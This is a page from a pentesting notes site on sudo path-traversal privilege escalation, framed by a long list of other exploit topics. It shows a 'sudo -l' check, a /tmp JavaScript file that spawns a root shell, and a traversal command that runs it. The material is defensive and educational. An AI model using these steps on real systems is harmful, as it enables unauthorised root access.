Exploit Notes

Exploits related to Linux

Privilege Escalation

Ansible Playbook Privilege Escalation

Apache Conf Privilege Escalation

Bash eq Privilege Escalation

Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

Mozilla Pentesting

OpenSSL Privilege Escalation

PolKit Privilege Escalation

Privilege Escalation with Wildcard Injection

Python Privilege Escalation

Python Yaml Privilege Escalation

Ruby Privilege Escalation

Snapd Privilege Escalation

Sudo ClamAV Privilege Escalation

Sudo Dstat Privilege Escalation

Sudo Exiftool Privilege Escalation

Sudo Fail2ban Privilege Escalation

Sudo Git Privilege Escalation

Sudo Java Privilege Escalation

Sudo OpenVPN Privilege Escalation

Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Update-Motd Privilege Escalation

Post Exploitation

Linux Backdoors

Linux Pivoting

Backup

BorgBackup Pentesting

Container

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Others

Archived Files

Linux Techniques

Linux Troubleshooting

Linux User & File Management

X11 (X Window System) Pentesting

Sudo Path Traversal Privilege Escalation

Last modified: 2023-02-05

Privilege Escalation

If some sudo command receives a file path, we might escalate to privileges using path traversal.

Investigation

sudo -l

(ALL) /usr/bin/node /usr/local/scripts/*.js

If the file path uses wildcards, we may execute arbitrary files.
In short, we can refer to files in different directories which the system owner unintended.

Exploitation

Assume we can execute ‘node’ command as root and js file.
Create the “test.js” under /tmp, which spawns a root shell after executing ‘node’ command.

// /tmp/test.js
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})

Now run ‘node’ command as root. We can pass the file using path traversal.

sudo /usr/bin/node /usr/local/scripts/../../../tmp/test.js

Tools by HDKS

Fuzzagotchi

Automatic web fuzzer.

aut0rec0n

Auto reconnaissance CLI.

Hash Cracker

Hash identifier.